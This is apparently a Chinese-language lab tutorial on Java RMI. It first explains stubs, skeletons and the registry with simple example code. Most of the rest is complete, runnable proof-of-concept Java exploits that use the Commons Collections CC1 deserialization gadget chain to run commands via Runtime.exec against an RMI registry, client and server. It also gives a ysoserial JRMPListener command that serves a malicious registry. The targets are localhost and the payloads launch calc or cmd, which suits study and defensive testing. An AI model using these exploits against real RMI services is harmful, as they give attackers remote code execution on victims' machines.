RMI:
RMI是什么:Java的RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法。RMI是Remote Method Invocation的缩写。
提供服务的一方我们称之为服务器,而实现远程调用的一方我们称之为客户端。
概念图:

客户端:
存根/桩(Stub):远程对象在客户端上的代理;
远程引用层(Remote Reference Layer):解析并执行远程引用协议;
传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。
服务端:
骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值;
远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用;
传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。
注册表(Registry):
以URL形式注册远程对象,并向客户端回复对远程对象的引用。
详细实现:
可远程调用接口的实现:
package RMIProject;
import java.rmi.Remote;
import java.rmi.RemoteException;
// 定义一个远程接口,继承java.rmi.Remote接口
public interface HelloInterface extends Remote {
String Hello(String age) throws RemoteException;
}
可远程调用实现类的实现:
package RMIProject;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 远程接口实现类,继承UnicastRemoteObject类和Hello接口
public class HelloImp extends UnicastRemoteObject implements HelloInterface {
private static final long serialVersionUID = 1L;
protected HelloImp() throws RemoteException {
super(); // 调用父类的构造函数
}
@Override
public String Hello(String age) throws RemoteException {
return "Hello" + age; // 改写Hello方法
}
}
远程接口实现类必须继承UnicastRemoteObject类,用于生成 Stub(存根)和 Skeleton(骨架)。
Stub可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。
Skeleton可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给Stub。不过这部分会在创建对象的时候自动实现,如果对象继承了 UnicastRemoteObject,那在构造或导出过程中,RMI 运行时已经帮你把远程访问这套机制准备好了。
可远程调用对象的创建和绑定存根:
package RMIProject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
// 服务端
public class RMIServer {
public static void main(String[] args) {
try {
HelloInterface h = new HelloImp(); // 创建远程对象HelloImp对象实例
LocateRegistry.createRegistry(1099); // 在服务器获取RMI服务注册器,在默认端口1099加载
Naming.rebind("rmi://localhost:1099/hello",h); // 绑定远程对象HelloImp到RMI服务注册器,./heelo路径是客户端查找它的标识
System.out.println("RMIServer start successful");
} catch (Exception e) {
e.printStackTrace();
}
}
}
也可以用下面这两行实现创建存根并绑定的逻辑
Registry registry = LocateRegistry.createRegistry(1099); //创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
客户端调用对应远程对象的实现:
package RMIProject;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
// 客户端
public class RMIClient {
public static void main(String[] args){
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); //通过对应路径寻找RMI实例远程对象,因此标出接口即可,只表示实现了哪些方法,而不关心具体实现
System.out.println(h.Hello("run......"));
}catch (MalformedURLException e) {
System.out.println("url格式异常");
} catch (RemoteException e) {
System.out.println("创建对象异常");
} catch (NotBoundException e) {
System.out.println("对象未绑定");
}
}
}
也可以用下面这串代码实现存根查找对象逻辑
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
RemoteClass hello = (RemoteClass) registry.lookup("hello");
攻击注册中心:
在与注册中心进行交互中,bind,rebind,unbind,lookup方法有readOpject方法,可以打反序列化链
POC1 – 基于bind/rebind
package rmi_injection_labs1.server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class ServerAttackRegistryByBind {
public static void main(String[] args) throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
// 这个地方和原来的CC1写法不一样,要把LazyMap.class.getInterfaces()改成new Class[]{Map.class},LazyMap.class.getInterfaces()默认会过去到两个接口的Class,分别是Map和Serializable,但是这里只要一个Map才能触发
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, invocationHandler));
registry.bind("test",r);
}
}
POC2 – 基于unbind/looup
package rmi_injection_labs1.server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class ServerAttackRegistryUnBuild {
public static void main(String[] args) throws Exception {
// ======================这一段就是POC1中的bind/rebuild攻击链代码======================
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, invocationHandler));
// ========================从这里不一样了======================
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
攻击客户端
注册中心攻击客户端:
ysoserial攻击:
攻击者启动一个伪造的 RMI Registry(JRMPListener),当客户端调用 list()、lookup() 等有返回值的方法时,伪造的 Registry 不返回正常数据,而是直接返回 ysoserial 生成的恶意序列化对象。客户端 RMI 运行库在接收响应时会自动调用 ObjectInputStream.readObject() 反序列化该数据,若客户端 ClassPath 中存在 commons-collections 等漏洞依赖,就会触发反序列化 gadget 链,最终执行任意命令。
攻击端启动命令(bash):
# 启动伪造的 RMI Registry,监听 12345 端口,绑定 CC1 弹计算器 payload
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 "calc"
受害者客户端:
package lab.client;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
public class VictimClient {
public static void main(String[] args) {
String host = "127.0.0.1";
int port = 12345;
try {
System.out.println("[*] 正在连接恶意 RMI Registry: " + host + ":" + port);
// 仅创建本地 Stub,不建立网络连接
Registry registry = LocateRegistry.getRegistry(host, port);
System.out.println("[*] 调用 registry.list(),等待服务端响应...");
// 🔥 关键触发点:底层会建立连接 -> 发送请求 -> 接收响应 -> 自动反序列化
String[] result = registry.list();
// ⚠️ 注意:即使返回类型不匹配导致 ClassCastException,
// 恶意代码也已在 readObject() 阶段执行完毕
System.out.println("[+] 返回结果: " + Arrays.toString(result));
} catch (Exception e) {
System.err.println("[-] 异常捕获: " + e.getClass().getName() + " - " + e.getMessage());
e.printStackTrace();
}
}
}
只要客户端调用list(),bind()等有反序列化方法的方法,就会触发恶意链。
服务端攻击客户端:
客户端调用远程对象的远程方法时服务端返回恶意序列化对象
服务端:
package rmi_injection_labs1.service;
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public Object getUser() throws RemoteException;
}
User接口,RMI 要求所有远程方法必须声明在继承 java.rmi.Remote 的接口中,且抛出 RemoteException。
package rmi_injection_labs1.server;
import rmi_injection_labs1.service.LocalUser;
import rmi_injection_labs1.service.User;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class LocalUserServer {
public static void main(String[] args) throws Exception {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
创建注册中心
package rmi_injection_labs1.service;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
@Override
public Object getUser() throws RemoteException {
InvocationHandler invocationHandler = null;
try{
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
}catch (Exception ignored){
throw new RemoteException("生成poc代码失败");
}
return invocationHandler;
}
}
定义恶意方法
客户端:
package rmi_injection_labs1.client;
import rmi_injection_labs1.service.User;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class LocalUserServerAttack2ClientByCC1 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}
调用远程恶意方法
攻击服务端
客户端将恶意序列化对象给服务端反序列化
服务端:
package rmi_injection_labs1.service;
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public Object getUser() throws RemoteException;
public void addUser(Object user) throws RemoteException;
}
客户端:
package rmi_injection_labs1.client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import rmi_injection_labs1.service.User;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class LocalUserClientAttack2ServerByCC1 {
public static void main(String[] args) throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
// ================addUser(Object obj) Object在服务端会被反序列化所以会触发对应的CC1攻击链
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(invocationHandler);
}
}